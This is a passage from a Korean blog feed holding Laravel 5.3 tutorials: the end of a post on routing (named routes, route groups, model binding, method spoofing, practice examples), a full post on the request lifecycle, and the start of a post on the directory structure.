<br>
<p>아래와 같이 컨트롤러 액션에도 라우트 이름을 지정할 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::get('user/profile', 'UserController@showProfile')-&gt;name('profile');
</code></pre>
<p><br><br></p>
<h3 id="url">이름 지정된 라우트에 대한 URL 생성</h3>
<hr>
<p>지정된 라우트에 이름을 지정하면 URL을 생성하거나 전역 &quot;<strong>route</strong>&quot; 메소드 기능을 통해 리다이렉트 할 때 라우트의 이름을 사용할 수 있습니다.<br>
<br></p>
<pre><code class="language-php">/* URLs 생성 */
$url = route('profile');

/* 리다이렉트 생성 */
return redirect()-&gt;route('profile');
</code></pre>
<br>
<p>이름이 지정된 라우트에 파라미터를 정의하는 경우, &quot;<strong>route</strong>&quot; 메소드의 두 번째 인자로 파라미터를 전달할 수 있습니다. 주어진 파라미터는 자동으로 올바른 위치에 있는 URL에 삽입됩니다.</p>
<br>
<pre><code class="language-php">Route::get('user/{id}/profile', function ($id) {
    //
})-&gt;name('profile');

$url = route('profile', ['id' =&gt; 1]);
</code></pre>
<p><br><br><br></p>
<h2 id="routegroups">Route Groups - 라우트 그룹</h2>
<p>라우트 그룹을 사용하면 각 개별 경로에서 이러한 특성을 정의할 필요 없이 많은 경로에서 &quot;<strong>미들웨어</strong>&quot; 또는 &quot;<strong>네임 스페이스</strong>&quot;와 같은 라우트 특성을 공유 할 수 있습니다. 공유 속성은 &quot;<strong>Route::group</strong>&quot; 메소드에 대한 첫 번째 파라미터로 배열 형식으로 지정됩니다.</p>
<br>
<h3 id="">미들웨어</h3>
<hr>
<p>그룹내 모든 라우트에 미들웨어를 할당하려면 그룹 속성 배열에서 &quot;<strong>middleware</strong>&quot; <strong>Key</strong>를 사용할 수 있습니다. 미들웨어는 배열에 나열된 순서대로 실행됩니다.</p>
<br>
<pre><code class="language-php">Route::group(['middleware' =&gt; 'auth'], function () {
    Route::get('/', function () {
        // Uses Auth Middleware
        //
    });
    
    Route::get('user/profile', function () {
        // Uses Auth Middleware
        //
    });
});
</code></pre>
<p><br><br></p>
<h3 id="">네임스페이스</h3>
<hr>
<p>라우트 그룹에 대한 또 다른 일반적인 사용 사례는 그룹 배열 안에서 &quot;<strong>namespace</strong>&quot; 파라미터를 사용하는 컨트롤러 그룹에게 동일한 PHP &quot;<strong>namespace</strong>&quot;를 할당하는 경우 입니다.</p>
<br>
<pre><code class="language-php">Route::group(['namespace' =&gt; 'Admin'], function () {
    // Controllers Whithin The App\Http\Controllers\Admin Namespace
});
</code></pre>
<br>
<p>기본적으로 &quot;<strong>RouteServiceProvider</strong>&quot;에는 네임스페이스 그룹내에 라우트 파일이 포함되어 있으므로 전체 &quot;<strong>App\Http\Controllers</strong>&quot; 네임스페이스 접두사를 지정하지 않고도 컨트롤러 경로를 등록할 수 있습니다. 즉, 네임스페이스에서 필요한 부분은 &quot;App\Http\Controllers\<strong>&lt;네임스페이스명&gt;</strong>&quot;에서 뒤에 오는 네임스페이스만 지정하면 됩니다.</p>
<p><br><br></p>
<h3 id="">서브 도메인 라우팅</h3>
<hr>
<p>라우트 그룹을 사용하면 하위 도메인 라우팅을 처리할 수 있습니다. 하위 도메인에는 라우트 URL와 마찬가지로 라우트 파라미터가 할당될 수 있으므로 라우트 또는 컨트롤러에서 사용할 하위 도메인의 일부를 추출할 수 있습니다. 하위 도메인은 그룹 속성 배열의 &quot;<strong>domain</strong>&quot; 키를 사용하여 지정할 수 있습니다.<br>
<br></p>
<pre><code class="language-php">Route::group(['domain' =&gt; '{account}.myapp.com'], function () {
    Route::get('user/{id}', function ($account, $id) {
        //
    });
});
</code></pre>
<p><br><br></p>
<h3 id="prefixes">라우트 Prefixes</h3>
<hr>
<p>&quot;<strong>Prefix</strong>&quot; 그룹 속성은 주어진 URI로 그룹의 각 라우트에 접두사를 붙이는 데 사용될 수 있습니다. 예를 들어 그룹내의 모든 라우트 URI에 &quot;<strong>admin</strong>&quot; 접두사로 지정할 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::group(['prefix' =&gt; 'admin'], function () {
    Route::get('users', function () {
        // Matches The &quot;/admin/users&quot; URL
    });
});
</code></pre>
<p><br><br><br></p>
<h2 id="routemodelbinding">Route Model Binding - 라우트 모델 바인딩</h2>
<p>라우트 또는 컨트롤러 작업에 모델 ID를 삽입할 때 종종 해당 ID에 모델을 검색하기 위해 쿼리합니다. 라라벨 경로 모델 바인딩은 모델 인스턴스를 경로에 직접 자동으로 주입하는 편리한 방법을 제공합니다.<br>
예를 들어 사용자의 ID를 삽입하는 대신 주어진 ID와 일치하는 전체 &quot;<strong>User</strong>&quot; 모델 인스턴스를 삽입할 수 있습니다.</p>
<br>
<h3 id="">무시적 바인딩</h3>
<hr>
<p>라라벨은 변수 이름이 라우트 세그먼트 이름과 일치하는 라우트 또는 컨트롤러 작업에 정의된 &quot;<strong>Eloquent</strong>&quot; 모델을 자동으로 해결합니다.</p>
<br>
<pre><code class="language-php">Route::get('api/users/{users}', function (App\User $user) {
    return $user-&gt;email;
});
</code></pre>
<br>
<p>해당 예제에서 라우트에 정의된 &quot;<strong>Eloquent</strong>&quot; <strong>$user</strong> 변수가 라우트 URI의 &quot;<strong>{user}</strong>&quot; 세그먼트와 일치하므로 라라벨은 요청 URI의 해당 값과 일치하는 ID를 가진 모델 인스턴스를 자동으로 삽입합니다.<br>
데이터베이스에서 일치하는 모델 인스턴스를 찾을 수 없는 경우 404 HTTP 응답이 자동으로 생성됩니다.</p>
<p><br><br></p>
<h3 id="">키 이름 변경</h3>
<hr>
<p>주어진 모델 클래스를 검색할 때 &quot;<strong>id</strong>&quot; 이외의 데이터베이스 열을 사용하도록 모델 바인딩을 원하는 경우 &quot;<strong>Eloquent</strong>&quot; 모델에서 &quot;<strong>getRouteKeyName</strong>&quot; 메소드를 재정의 할 수 있습니다.</p>
<br>
<pre><code class="language-php">public function getRouteKeyName() {
    return 'slug';
}
</code></pre>
<p><br><br></p>
<h3 id="">명시적 바인딩</h3>
<hr>
<p>명시적 바인딩을 등록하려면 라우터의 &quot;<strong>model</strong>&quot; 메소드를 사용하여 주어진 파라미터에 대한 클래스를 지정하면 됩니다. &quot;<strong>RouteServiceProvider</strong>&quot; 클래스의 부팅 메소드에서 명시적 모델 바인딩을 정의해야 합니다.</p>
<br>
<pre><code class="language-php">public function boot() {
    parent::boot();
    
    Route::model('user', App\User::class);
}
</code></pre>
<br>
<p>그 다음으로 {<strong>user</strong>} 파라미터를 포함하는 라우트를 정의해야 합니다.</p>
<br>
<pre><code class="language-php">Route::get('profile/{user}', function (App\User $user) {
    //
});
</code></pre>
<br>
<p>모든 {<strong>user</strong>} 파라미터를 &quot;<strong>App\User</strong>&quot; 모델에 바인딩 했으므로, &quot;<strong>User</strong>&quot; 인스턴스가 라우테 삽입됩니다. 예를 들어 &quot;<strong>profile/1</strong>&quot;에 대한 요청은 ID가 &quot;<strong>1</strong>&quot;인 데이터베이스에서 User 인스턴스를 삽입합니다.</p>
<p>만약 데이터베이스에서 일치하는 모델 인스턴스를 찾을 수 없는 경우 404 HTTP 응답이 자동으로 생성됩니다.</p>
<p><br><br></p>
<h3 id="customizingtheresolutionlogic">Customizing The Resolution Logic - 의존성 해결 로직 커스터마이징</h3>
<hr>
<p>고유한 의존성 해결 로직을 사용하기 위해 &quot;<strong>Route::bind</strong>&quot; 메소드를 사용할 수 있습니다. &quot;<strong>bind</strong>&quot; 메소드에 전달되는 &quot;<strong>Closure(클로저)</strong>&quot;는 URI 세그먼트의 값을 수신하고 라우트에 삽입해야하는 클래스의 인스턴스를 반환해야 합니다.</p>
<br>
<pre><code class="language-php">public function boot() {
    parent::boot();
    
    Route::bind('user', function ($value) {
        return App\User::where('name', $value)-&gt;first();
    });
}
</code></pre>
<p><br><br><br></p>
<h2 id="formmethodspoofing">Form Method Spoofing</h2>
<p>HTML 폼에는 &quot;<strong>PUT</strong>&quot;, &quot;<strong>PATCH</strong>&quot;, &quot;<strong>DELETE</strong>&quot; 등 작업을 지원하지 않습니다. 따라서 HTML 폼에서 호출되는 &quot;<strong>PUT</strong>&quot;, &quot;<strong>PATCH</strong>&quot;, &quot;<strong>DELETE</strong>&quot; 라우트를 정의할 때 숨겨진 &quot;<strong>_method</strong>&quot; 필드를 양식에 추가해야 합니다.<br>
&quot;<strong>_method</strong>&quot; 필드와 함께 전송된 값은 HTTP Request 메소드로 사용됩니다.</p>
<br>
<pre><code class="language-html">&lt;form action=&quot;/foo/bar&quot; method=&quot;POST&quot;&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;_method&quot; value=&quot;PUT&quot;&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;_token&quot; value=&quot;{{ csrf_token() }}&quot;&gt;
&lt;/form&gt;
</code></pre>
<br>
<p>아래와 같이 &quot;<strong>method_field</strong>&quot; 도우미 메소드(함수)를 사용하여 자동으로 &quot;<strong>_method</strong>&quot; 입력을 생성할 수 있습니다.</p>
<br>
<pre><code class="language-php">{{ method_field('PUT') }}
</code></pre>
<p><br><br><br></p>
<h2 id="">현재 라우트에 액세스하기</h2>
<p>&quot;<strong>Route</strong>&quot; 파사드의 &quot;<strong>current</strong>&quot;, &quot;<strong>currentRouteName</strong>&quot;, &quot;<strong>currentRouteAction</strong>&quot; 메소드를 사용하여, 들어오는 요청을 처리하는 라우트에 대한 정보에 액세스할 수 있습니다.</p>
<br>
<pre><code class="language-php">$route = Route::current();

$name = Route::currentRouteName();

$action = Route::currentRouteAction();
</code></pre>
<p><br><br><br></p>
<h2 id="">라우트 실습해보기</h2>
<pre><code class="language-html">&lt;h1&gt;test123&lt;/h1&gt;
</code></pre>
<p><strong>&quot;resources/views/welcome.blade.php&quot;</strong></p>
<br>
<p>해당 뷰에 테스트 글자로 변경합니다.</p>
<p><br><br></p>
<center><img src="https://blog.d0ngd0nge.xyz/content/images/2020/08/-----------2020-08-10-------11.48.24.png"></center>
<p>위와 같이 해당 페이지에 접근시 &quot;<strong>test123</strong>&quot; 문자열이 출력됩니다.</p>
<br>
<p>현재 브라우저에 &quot;<strong>http://&lt;IP&gt;/</strong>&quot;로 &quot;<strong>/</strong>&quot; 웹 루트 디렉터리에 접근을 요청하였으며, 웹서버는 &quot;<strong>welcome.blade.php</strong>&quot;의 내용을 표시하였습니다. 이 과정은 &quot;<strong>routes/web.php</strong>&quot;에서 확인할 수 있습니다.</p>
<br>
<pre><code class="language-php">&lt;?php

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| This file is where you may define all of the routes that are handled
| by your application. Just tell Laravel the URIs it should respond
| to using a Closure or controller method. Build something great!
|
*/

Route::get('/', function () {
    return view('welcome');
});
</code></pre>
<p><strong>routes/web.php</strong></p>
<br>
<p>해당 PHP 로직을 보면 웹 서버 &quot;<strong>/</strong>&quot;로 요청이 들어오면 view 메소드를 사용하여 &quot;<strong>resources/views/selcome.blade.php</strong>&quot; 코드를 블레이드 엔진을 사용하여 사용자 브라우저에 출력합니다.</p>
<br>
<p>하지만 &quot;<strong>view</strong>&quot; 메소드 대신 &quot;<strong>return</strong>&quot; 인자로 문자열을 통하여 해당 문자열을 반환하거나 PHP 코드를 넣어 로직을 수행할 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::get('/', function () {
    return &quot;&lt;h1&gt;test123&lt;/h1&gt;&quot;;
});
</code></pre>
<p><strong>routes/web.php</strong></p>
<p><br><br><br></p>
<h2 id="">라우트 파라미터 실습하기</h2>
<pre><code class="language-php">Route::get('/{foo}', function ($foo) {
    return $foo;
});
</code></pre>
<p><strong>routes/web.php</strong></p>
<br>
<p>&quot;<strong>http://&lt;IP&gt;/&lt;파라미터&gt;</strong>&quot;로 접근시 해당 파라미터에 전달되는 값이 &quot;<strong>/{foo}</strong>&quot;에서 함수 &quot;<strong>$foo</strong>&quot;로 전달되어 return 메소드를 통하여 사용자 브라우저에 파라미터 값이 출력됩니다.<br>
예를 들면, &quot;<strong>http://&lt;IP&gt;/abcdefg</strong>&quot;로 접속하였다면 브라우저에 &quot;<strong>abcdefg</strong>&quot; 출력됩니다.</p>
<p><br><br></p>
<p>위 &quot;<strong>정규표현식 제약</strong>&quot; 파트 부분에서 3가지 방법으로 정규표현식을 &quot;<strong>where</strong>&quot; 메소드를 통하여 사용할 수 있지만 &quot;<strong>글로벌</strong> 제약&quot; 파트 처럼 &quot;<strong>pattern</strong>&quot; 메소드를 사용할 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::pattern('name', '[0-9a-zA-Z]+');

Route::get('/{name}', function ($name = 'aaaaa') {
    return $name;
});
</code></pre>
<br>
<p>해당 파라미터 &quot;<strong>pattern</strong>&quot; 메소드에 의해 정규표현식으로 숫자, 영대소문자를 포함이 되어 있을 경우 &quot;<strong>$name</strong>&quot; 변수에 의해 사용자 화면에 파라미터 값이 출력됩니다.</p>
<br>
<p>만약 위 파라미터의 정규표현식에 벗어나는 패턴 (Ex. <strong>http://&lt;IP&gt;/abcdef@@#</strong>) 입력시 &quot;<strong>NotFountHTTPException</strong>&quot;를 예외 반환을 합니다.</p>
<br>
<pre><code class="language-html">Sorry, the page you are looking for could not be found.

NotFoundHttpException in RouteCollection.php line 161:

in RouteCollection.php line 161
at RouteCollection-&gt;match(object(Request)) in Router.php line 766
at Router-&gt;findRoute(object(Request)) in Router.php line 621
at Router-&gt;dispatchToRoute(object(Request)) in Router.php line 607
at Router-&gt;dispatch(object(Request)) in Kernel.php line 268
at Kernel-&gt;Illuminate\Foundation\Http\{closure}(object(Request)) in Pipeline.php line 53
at Pipeline-&gt;Illuminate\Routing\{closure}(object(Request)) in CheckForMaintenanceMode.php line 46
at CheckForMaintenanceMode-&gt;handle(object(Request), object(Closure)) in Pipeline.php line 137
at Pipeline-&gt;Illuminate\Pipeline\{closure}(object(Request)) in Pipeline.php line 33
at Pipeline-&gt;Illuminate\Routing\{closure}(object(Request)) in Pipeline.php line 104
at Pipeline-&gt;then(object(Closure)) in Kernel.php line 150
at Kernel-&gt;sendRequestThroughRouter(object(Request)) in Kernel.php line 117
at Kernel-&gt;handle(object(Request)) in index.php line 53
at require_once('/var/www/html/myapp/public/index.php') in server.php line 21
</code></pre>
<p><br><br><br></p>
<h2 id="">라우트 명 지정하여 실습하기</h2>
<p>라우트에 이름을 지정하여 컨트롤러에서 다른 라우트로 리다이렉션 처리 하거나, 뷰에서 다른 라우트로 리다이렉션 링크를 설정할 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::get(&quot;/&quot;, [&quot;as&quot; =&gt; &quot;name&quot;,
    function () {
        return &quot;My Name is ...&quot;;
    }
]);

Route::get(&quot;/name&quot;, function () {
    return redirect(route(&quot;name&quot;));
});

Route::get(&quot;/test&quot;, function () {
    return redirect(route(&quot;name&quot;));
});
</code></pre>
<p><strong>routes/web.php</strong></p>
<br>
<p>위 로직은 웹 루트 디렉터리 &quot;<strong>/</strong>&quot; 또는 &quot;<strong>/name</strong>&quot;, &quot;<strong>/test</strong>&quot;로 접근시 자동으로 &quot;<strong>My Name is ...</strong>&quot; 구문을 반환하여 사용자 브라우저에 출력됩니다. 한마디로 &quot;<strong>redirect</strong>&quot; 메소드를 통하여 <strong>HTTP 302 Found</strong> 반환으로 <strong>Location</strong>으로 이동하게 됩니다. 이동 목적지는 &quot;<strong>route</strong>&quot; 메소드 인자로 선언된 부분으로 이동됩니다. 현재 선언된 인자는 &quot;<strong>name</strong>&quot; 이므로 <strong>&quot;as&quot; =&gt; &quot;name&quot;</strong> 이 지정된 라우트로 이동하게 됩니다.</p>
<br>
<pre><code class="language-php">Route redirect(string $uri, string $destination, int $status = 302)
Create a redirect from one URI to another.

Parameters
string	$uri	
string	$destination	
int	$status	
Return Value
Route
</code></pre>
<br>
<p>laravel API Doc에 redirect 메소드에 관한 정보입니다. 인자로는 3가지를 받습니다.</p>
<p><br><br><br></p>
<p># 본글은 <a href="https://laravel.com/docs/5.3/routing">라라벨 공식 홈페이지</a> 가이드를 기반으로 번역 및 개인적으로 연구한 내용을 바탕으로 쓴 글입니다.<br>
오타 및 오역이 발생시 언제든지 댓글로 남겨주시면 확인후 변경하도록 하겠습니다.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[PHP MVC - Laravel Request LifeCycle]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - Request Lifecycle</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.07</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="requestlifecycle">Request Lifecycle - 라이프 사이클 요청</h2>
<p>이번에는 라라벨 - 라이프 사이클 요청에 대해 알아보도록 하겠습니다.<br>
<br>&quot;<strong>현실 세계</strong>&quot;에서는 어떤 도구를 사용할 때 그 도구가 어떻게 작동되는지 이해를 하면 더욱 자신감을 줍니다. 애플리케이션 개발 또한</p>]]></description><link>https://blog.d0ngd0nge.xyz/php-mvc-laravel-request/</link><guid isPermaLink="false">5f2d649ca673e14bd491c968</guid><category><![CDATA[laravel]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Fri, 07 Aug 2020 16:12:20 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - Request Lifecycle</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.07</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="requestlifecycle">Request Lifecycle - 라이프 사이클 요청</h2>
<p>이번에는 라라벨 - 라이프 사이클 요청에 대해 알아보도록 하겠습니다.<br>
<br>&quot;<strong>현실 세계</strong>&quot;에서는 어떤 도구를 사용할 때 그 도구가 어떻게 작동되는지 이해를 하면 더욱 자신감을 줍니다. 애플리케이션 개발 또한 다르지 않으며 개발 도구가 어떻게 동작하는지에 대한 이해를 한다면 이를 사용하는데 있어서 더 편하고 잘 사용할 수 있습니다.<br>
<br> 라라벨 전체 프레임워크를 더 잘 알게 됨으로써 모든 것을 덜 &quot;<strong>혼란스러워</strong>&quot;할 것입니다. 라라벨 공식 가이드 문서에서도 지금 당장 모든 것들을 이해하지 못하더라도 괜찮다고 쓰여져 있습니다.<br>
그냥 무엇을 하고 있는지에 대한 기본적인 이해를 얻기 위해 노력하고, 해당 문서의 여러 부분 섹션을 살펴보면서 깊게 들어가 이해를 한다면 지식 또한 더 쌓을 수 있다고 합니다.<br>
<br><br></p>
<h2 id="lifecycle">LifeCycle 개요</h2>
<h3 id="">첫 번째</h3>
<hr>
<p>라라벨 애플리케이션에 대한 모든 요청의 진입(시작점)은 &quot;<strong>public/index.php</strong>&quot; 파일입니다. 웹서버 (Apache, Nginx) 구성에 의해 해당 파일로 전달됩니다. 해당 index.php 파일에는 많은 코드가 포함되어 있지 않습니다. 대신 프레임워크의 나머지를 로드하기 위한 시작점입니다. <br><br>
&quot;<strong>index.php</strong>&quot; 파일은 <strong>Composer</strong>가 생성한 오토로더 정의를 로딩합니다.그 다음 &quot;<strong>bootstrap/app.php</strong>&quot;에서 라라벨 애플리케이션의 인스턴스를 검색합니다.<br>
라라벨 첫 번째 동작은 &quot;<strong>서비스 컨테이너</strong>&quot; 인스턴스를 생성하는 것입니다.</p>
<br>
<pre><code class="language-php">&lt;?php
require __DIR__.'/../bootstrap/autoload.php';

$app = require_once __DIR__.'/../bootstrap/app.php';

$kernel = $app-&gt;make(Illuminate\Contracts\Http\Kernel::class);

$response = $kernel-&gt;handle(
    $request = Illuminate\Http\Request::capture()
);

$response-&gt;send();

$kernel-&gt;terminate($request, $response);
</code></pre>
<p>&quot;<strong>public/index.php</strong>&quot;</p>
<br>
<p>위 index.php 파일의 코드를 보면 몇줄 되지 않습니다.</p>
<p><br><br></p>
<h3 id="httpconsolekernel">HTTP / Console kernel</h3>
<hr>
<p>다음으로 애플리케이션 시작된 유형에 따라 전송된 요청을 &quot;<strong>HTTP Kernel</strong>&quot; 또는 &quot;<strong>Console Kernel</strong>&quot;로 전송됩니다. 이 두 커널은 모든 요청이 통과할 수 있는 중앙 위치 역할을 합니다. 여기서는 &quot;<strong>app/Http/Kernel.php</strong>&quot;에 &quot;<strong>HTTP Kernel</strong>&quot;에 초점을 맞춰보도록 하겠습니다.<br>
<br></p>
<pre><code class="language-php">&lt;?php

namespace App\Http;

use Illuminate\Foundation\Http\Kernel as HttpKernel;

class Kernel extends HttpKernel
{
    protected $middleware = [
        \Illuminate\Foundation\Http\Middleware\CheckForMaintenanceMode::class,
    ];

    protected $middlewareGroups = [
        'web' =&gt; [
            \App\Http\Middleware\EncryptCookies::class,
            \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class,
            \Illuminate\Session\Middleware\StartSession::class,
            \Illuminate\View\Middleware\ShareErrorsFromSession::class,
            \App\Http\Middleware\VerifyCsrfToken::class,
            \Illuminate\Routing\Middleware\SubstituteBindings::class,
        ],

        'api' =&gt; [
            'throttle:60,1',
            'bindings',
        ],
    ];

    protected $routeMiddleware = [
        'auth' =&gt; \Illuminate\Auth\Middleware\Authenticate::class,
        'auth.basic' =&gt; \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class,
        'bindings' =&gt; \Illuminate\Routing\Middleware\SubstituteBindings::class,
        'can' =&gt; \Illuminate\Auth\Middleware\Authorize::class,
        'guest' =&gt; \App\Http\Middleware\RedirectIfAuthenticated::class,
        'throttle' =&gt; \Illuminate\Routing\Middleware\ThrottleRequests::class,
    ];
}
</code></pre>
<p>&quot;<strong>app/Http/Kernel.php</strong>&quot;</p>
<p><br> HTTP Kernel은 &quot;<strong>Illuminate\Foundation\Http\Kernel</strong>&quot; 클래스를 상속하고 있으며, 요청이 실행되기 전까지 처리되는 &quot;<strong>bootstrappers</strong>&quot; 배열을 정의하고 있습니다.<br>
이러한 <strong>bootstrappers는</strong> 오류 처리, 로깅을 구성하고, 애플리케이션 환경을 탐지하며, 요청이 실제로 처리되기 전에 수행해야 되는 작업을 의미합니다. <br><br>
또한 HTTP Kernel은 애플리케이션에서 요청이 처리되기 전에 통과해야하는 HTTP 미들웨어의 목록을 정의하고 있습니다. 이러한 미들웨어는 HTTP Session을 읽고/쓰고, 애플리케이션이 유지 관리 모드인지 확인하고, CSRF 토큰을 확인하는 작업을 합니다. <br><br>
HTTP Kernel의 &quot;<strong>handle</strong>&quot; 메소드의 사용방법은 매우 간단합니다. 단순하게 &quot;<strong>Request</strong>&quot; 받고 &quot;<strong>Response</strong>&quot;를 반환합니다. Kernel은 애플리케이션 전체를 나타내는 하나의 큰 블랙 박스라고 생각하면 됩니다. 즉, HTTP 요청이 들어오면 HTTP 응답을 반환합니다.</p>
<p><br><br></p>
<h3 id="serviceproviders">Service Providers</h3>
<hr>
<p>가장 중요한 Kernel Bootstrap 작업 중 하나는 애플리케이션에 대한 &quot;<strong>Service Provider(서비스 프로바이더)</strong>&quot;를 로딩하는 것입니다. 애플리케이션의 모든 서비스 프로바이더는 &quot;<strong>config/app.php</strong>&quot; 파일의 &quot;providers&quot; 배열에 설정되어 있습니다. 먼저 모든 서비스 프로바이더의 &quot;<strong>register</strong>&quot; 메소드가 호출 된 다음 이후에 등록된 모든 서비스 프로바이더의 &quot;<strong>boot</strong>&quot; 메소드가 호출되어 집니다.<br>
<br>서비스 프로바이더는 데이터베이스, 큐, 유효성 검사 및 라우팅 구성 요소와 같은 프레임워크의 모든 구성 요소를 처리를 책임집니다. 프레임워크에서 제공하는 모든 기능을 부트스트랩하고 구성하므로 서비스 프로바이더는 전체 라라벨 부트스트랩 프로세스에서 가장 중요한 요소입니다.</p>
<p><br><br></p>
<h3 id="dispatchrequests">Dispatch Requests</h3>
<hr>
<p>애플리케이션이 Bootstrapped(부팅)되고 모든 서비스 프로바이더가 등록되면 요청은 처리를 위해 라우터로 전달됩니다. 라우터는 요청을 라우트 또는 컨트롤러에 전달하고 라우트 특정 미들웨어를 실행합니다.</p>
<p><br><br></p>
<h3 id="dispatchrequests">Dispatch Requests</h3>
<hr>
<p>애플리케이션이 Bootstrapped(부팅)되고 모든 서비스 프로바이더가 등록되면 요청은 처리를 위해 라우터로 전달됩니다. 라우터는 요청을 라우트 또는 컨트롤러에 전달하고 라우트 특정 미들웨어를 실행합니다.</p>
<p><br><br></p>
<h2 id="focusonserviceproviders">Focus On Service Providers</h2>
<p>서비스 프로바이더는 라라벨 애플리케이션을 Bootstrapped(부팅) 단계의 핵심입니다. 애플리케이션 인스턴스가 생성되고 서비스 프로바이더에 등록되어 요청이 Bootstrapped(부팅)된 애플리케이션으로 전달되며 처리됩니다. 매우 간단합니다.<br>
<br>서비스 프로바이더를 통해 라라벨 애플리케이션을 구축하고 Bootstrapped(부팅)하는 과정을 확실히 파악하는 것은 중요합니다. 기본 서비스 프로바이더는 &quot;<strong>app/Providers</strong>&quot; 디렉터리에 있습니다.<br>
<br>기본적으로 &quot;<strong>AppServiceProvider</strong>&quot;는 거의 비어져 있습니다. 해당 프로바이더는 고유한 부트스트래핑과 서비스 컨테이너 바인딩 코드를 추가 하기 위한 곳입니다. 물론 대규모 응용 프로그램의 경우 각각 더 세분화된 유형의 구분되어 종류별로 서비스 프로바이더를 추가할 수 있습니다.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[PHP MVC - Laravel 디렉터리 구조]]></title><description><![CDATA[이번에는 Laravel 프레임워크 디렉터리 구조에 대해 알아보도록 하겠습니다.
라라벨 애플리케이션 구조는 크고,작은 애플리케이션에서 좋은 시작점을 제공하기 위한 의도하고 있습니다.
라라벨은 Composer가 클래스를 자동로드(오토로딩) 할 수 있는 한 클래스를 어디에 위치 시키든지에 대한 제한이 없습니다.]]></description><link>https://blog.d0ngd0nge.xyz/php-mvc-laravel-diregteori/</link><guid isPermaLink="false">5f2d03cda673e14bd491c745</guid><category><![CDATA[laravel]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Fri, 07 Aug 2020 08:26:47 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - Directory Tree</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.07</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="phpmvc">PHP MVC 패턴 - 디렉터리 구조</h2>
<p>이번에는 Laravel 프레임워크 디렉터리 구조에 대해 알아보도록 하겠습니다.<br>
<br>라라벨 애플리케이션 구조는 크고,작은 애플리케이션에서 좋은 시작점을 제공하기 위한 의도하고 있습니다.<br>
<br>라라벨은 Composer가 클래스를 자동로드(오토로딩) 할 수 있는 한 클래스를 어디에 위치 시키든지에 대한 제한이 없습니다.<br>
<br></p>
<p>Laravel을 시작할 때 많은 개발자들이 &quot;<strong>models</strong>&quot; 디렉터리가 없는 것에 대해 띠용? 하면서 혼란스러워 합니다.<br>
그러나 해당 디렉터리가 없는건 의도 되었습니다. &quot;<strong>Models</strong>&quot;가 많은 사람들에게 각기 다른 의미로 받아져 모호하기 때문이라고 합니다.<br>
일부 개발자들은 애플리케이션 &quot;<strong>Models</strong>&quot;을 모든 비지니스 로직의 전체로서 참조하는 반면, 다른 개발자들은 &quot;<strong>models</strong>&quot;를 관계형 데이터베이스와 상호 작용하는데 사용한다고 합니다.<br>
<br></p>
<p>이러한 이유로 Laravel에서는 기본적으로 &quot;<strong>Eloquent</strong>&quot; 모델을 디렉터리에 배치하고 개발자가 원하는 경우 다른 곳에 배치할 수 있도록 선택합니다.</p>
<p><br><br></p>
<h2 id="rootdirectory">Root Directory</h2>
<h3 id="appdriectory">app Driectory</h3>
<hr>
<p>app 디렉터리는 예상대로 으용 프로그램의 핵심 코드가 포함되어 있으며, 애플리케이션의 거의 모든 클래스가 들어 있습니다.</p>
<p><br><br></p>
<h3 id="bootstrapdriectory">bootstrap Driectory</h3>
<hr>
<p>bootstrap 디렉터리는 프레임워크의 자동 로딩과 부트스트래핑을 설정하는 파일을 포함하고 있으며, 프레임워크가 라우트나 서비스 캐시 파일과 같은 성능 최적화 향상을 위해서 생성하는 &quot;<strong>cache</strong>&quot; 디렉터리를 가지고 있습니다.</p>
<p><br><br></p>
<h3 id="configdriectory">config Driectory</h3>
<hr>
<p>config 디렉터리는 이름에서 알 수 있듯이 응용 프로그램의 구성파일을 제공합니다. 해당 디렉터리속 모든 파일을 확인해보고 사용할 수 있는 옵션을 미리 익혀두는것이 좋다고 합니다.</p>
<p><br><br></p>
<h3 id="databasedriectory">database Driectory</h3>
<hr>
<p>database 디렉터리는 데이터베이스 마이그레이션 및 시딩 파일들을 포함하고 있습니다. 원한다면 해당 디렉터리를 SQLite 데이터베이스가 저장되는 곳으로 사용할 수 있습니다.</p>
<p><br><br></p>
<h3 id="publicdriectory">public Driectory</h3>
<hr>
<p>public 디렉터리는 애플리케이션에 진입하는 모든 요청에 대한 시작점입니다. &quot;<strong>index.php</strong>&quot; 파일을 가지고 있으며, <strong>CSS</strong>, <strong>Javascript</strong>, <strong>image</strong> 등과 같은 파일들도 포함되고 있습니다.</p>
<p><br><br></p>
<h3 id="resourcesdriectory">resources Driectory</h3>
<hr>
<p>resources 디렉터리는 View 파일과 LESS, SASS, Javascript와 같이 컴파일 되지 않은 asset 파일들을 가지고 있습니다.</p>
<p><br><br></p>
<h3 id="routesdriectory">routes Driectory</h3>
<hr>
<p>routes 디렉터리는 애플리케이션에서 경로 정의된 모든 라우팅들이 들어 있습니다.<br>
